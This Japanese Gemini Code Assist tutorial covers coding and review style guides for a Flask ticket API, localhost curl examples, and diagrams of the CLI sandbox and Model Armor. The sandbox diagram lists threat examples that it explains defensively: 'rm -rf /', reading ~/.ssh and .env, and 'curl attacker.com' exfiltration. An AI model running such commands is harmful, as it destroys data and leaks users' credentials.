Gemini Code Assist ハンズオン

• 変数名の命名規則は統一されているか？
• エラーハンドリングはあるか？形式は？
• SQL クエリにパラメータ化クエリが使われているか？
• docstring やコメントはあるか？

# お問い合わせ管理 API

## プロジェクト概要
Flask と SQLite を使用したチケット管理 REST API です。
顧客からのお問い合わせをチケットとして管理し、
ステータス管理・検索・集計機能を提供します。

## コーディング規約

### 命名規則
- 変数名・関数名: snake_case
- 定数: UPPER_SNAKE_CASE
- HTTPステータスコード: 定数で定義せず数値リテラルを使用

### ドキュメント
- 全ての関数に Google Style の docstring を記述すること
- 複雑なロジックには日本語でコメントを付けること
- API エンドポイントの docstring には HTTP メソッドとパスを含めること

### エラーハンドリング
- API レスポンスは必ず JSON 形式で返すこと
- エラー時は {"error": "説明"} の形式で適切な HTTP ステータスコードを返す
- 400: バリデーションエラー、404: リソース未検出、500: サーバーエラー

### データベース
- SQL クエリには必ずパラメータ化クエリ（? プレースホルダー）を使用
- f-string や % 演算子で SQL を組み立てることは禁止
- データベース接続は使用後に必ず close すること

### バリデーション
- 全てのユーザー入力に対してバリデーションを実施すること
- 文字列フィールドには最大長制限を設けること
- ステータスは許可された値のみ受け付けること（enum パターン）

### セキュリティ
- 秘密鍵やパスワードをハードコードしてはならない
- 本番環境では debug モードを無効にすること

# コードレビュー スタイルガイド

## 必須チェック項目

### セキュリティ
- SQL クエリにユーザー入力を直接埋め込んでいないか
- 入力バリデーションが実装されているか
- 秘密情報がハードコードされていないか

### コード品質
- 関数に docstring が記述されているか
- エラーハンドリングが適切か
- 変数名が snake_case で命名されているか

### Flask 固有
- レスポンスが jsonify() で返されているか
- HTTP ステータスコードが適切か
- データベース接続が適切にクローズされているか

Gemini Code Review の仕組み

flowchart TD
    A["Developer
git push"] --> B["Pull Request 作成"]
    B --> C{"Gemini Code Review
自動起動"}
    C --> D["styleguide.md
ルールに基づく検査"]
    C --> E["コード差分分析
バグ・品質の指摘"]
    C --> F["セキュリティチェック
SQLi, CSRF 等の検出"]
    D --> G["PR にレビューコメント投稿"]
    E --> G
    F --> G

    style A fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B fill:#e8f0fe,stroke:#4285f4,color:#202124
    style C fill:#fff3e0,stroke:#f9ab00,color:#202124
    style D fill:#e6f4ea,stroke:#34a853,color:#202124
    style E fill:#e6f4ea,stroke:#34a853,color:#202124
    style F fill:#fce8e6,stroke:#ea4335,color:#202124
    style G fill:#e8f0fe,stroke:#1a73e8,color:#202124
        

# ターミナルで実行
python app.py

# 対応履歴を追加
curl -X POST http://localhost:5000/tickets/1/responses \
  -H "Content-Type: application/json" \
  -d '{"responder": "鈴木", "message": "パスワードリセットのリンクを送信しました", "is_internal": false}'

# 内部メモを追加
curl -X POST http://localhost:5000/tickets/1/responses \
  -H "Content-Type: application/json" \
  -d '{"responder": "山田", "message": "原因調査中。認証基盤側の障害の可能性あり", "is_internal": true}'

# 対応履歴を追加
curl -X POST http://localhost:5000/tickets/1/responses `
  -H "Content-Type: application/json" `
  -d "{\"responder\": \"鈴木\", \"message\": \"パスワードリセットのリンクを送信しました\", \"is_internal\": false}"

# 内部メモを追加
curl -X POST http://localhost:5000/tickets/1/responses `
  -H "Content-Type: application/json" `
  -d "{\"responder\": \"山田\", \"message\": \"原因調査中。認証基盤側の障害の可能性あり\", \"is_internal\": true}"

• 鈴木さんの対応記録が表示されているか
• 山田さんの内部メモに「内部メモ」バッジが付いているか
• 時系列順に並んでいるか

## セキュリティ（最優先）

### SQL インジェクション防止
- f-string、% 演算子、.format() を SQL 文で絶対に使用しないこと
- 必ずパラメータ化クエリ（? プレースホルダー）を使用すること

### 入力バリデーション
- 全てのユーザー入力に対してバリデーションを実施すること
- 文字列フィールドには最大長制限を設けること
- HTML タグやスクリプトタグを除去またはエスケープすること
- ステータス等の列挙値は許可リストで検証すること

### 設定
- 秘密鍵は環境変数から読み込むこと
- 本番環境で debug=True を使用しないこと
- エラーメッセージに内部情報（スタックトレース等）を含めないこと

Gemini Code Assist のセキュリティ機能に加え、Google Cloud にはAI を安全に活用するためのエコシステムがあります。

Gemini CLI の Sandbox モード

flowchart TB
    A1["Gemini CLI"] --> B1["Gemini Model\nコマンド生成"]
    B1 --> C1["ホスト OS 上で\n直接実行"]
    C1 --> D1["rm -rf /\n意図しない削除"]
    C1 --> E1["機密ファイル読取\n~/.ssh/*, .env"]
    C1 --> F1["外部送信\ncurl attacker.com"]

    style A1 fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B1 fill:#e6f4ea,stroke:#34a853,color:#202124
    style C1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style D1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style E1 fill:#fce8e6,stroke:#ea4335,color:#202124
    style F1 fill:#fce8e6,stroke:#ea4335,color:#202124
            

flowchart TB
    A2["Gemini CLI"] --> B2["Gemini Model\nコマンド生成"]
    B2 --> SB

    subgraph SB["gVisor Sandbox — 隔離されたユーザースペースカーネル"]
      direction TB
      G2["全 syscall を仲介"] --> D2["プロジェクト内\nファイル操作 ✓"]
      G2 --> E2["許可されたコマンド\n実行 ✓"]
    end

    G2 --x|"ブロック"| F2["ホスト OS\nスコープ外アクセス拒否"]

    style A2 fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style SB fill:#fef7e0,stroke:#f9ab00,color:#202124
    style G2 fill:#fef7e0,stroke:#f9ab00,color:#202124
    style D2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style E2 fill:#e6f4ea,stroke:#34a853,color:#202124
    style F2 fill:#fce8e6,stroke:#ea4335,color:#202124
            

Model Armor

flowchart LR
    A["User Input"] --> B
    subgraph B["Model Armor - 入力"]
      direction TB
      B1["Prompt Injection 検出"]
      B2["PII マスキング"]
      B3["不正 URL ブロック"]
    end
    B --> C["Gemini\nCode Assist"]
    C --> D
    subgraph D["Model Armor - 出力"]
      direction TB
      D1["有害コンテンツ検出"]
      D2["機密データ除去"]
    end
    D --> E["Response"]

    style A fill:#e8f0fe,stroke:#4285f4,color:#202124
    style C fill:#e6f4ea,stroke:#34a853,color:#202124
    style E fill:#e8f0fe,stroke:#4285f4,color:#202124
    style B fill:#fce8e6,stroke:#ea4335,color:#202124
    style D fill:#fce8e6,stroke:#ea4335,color:#202124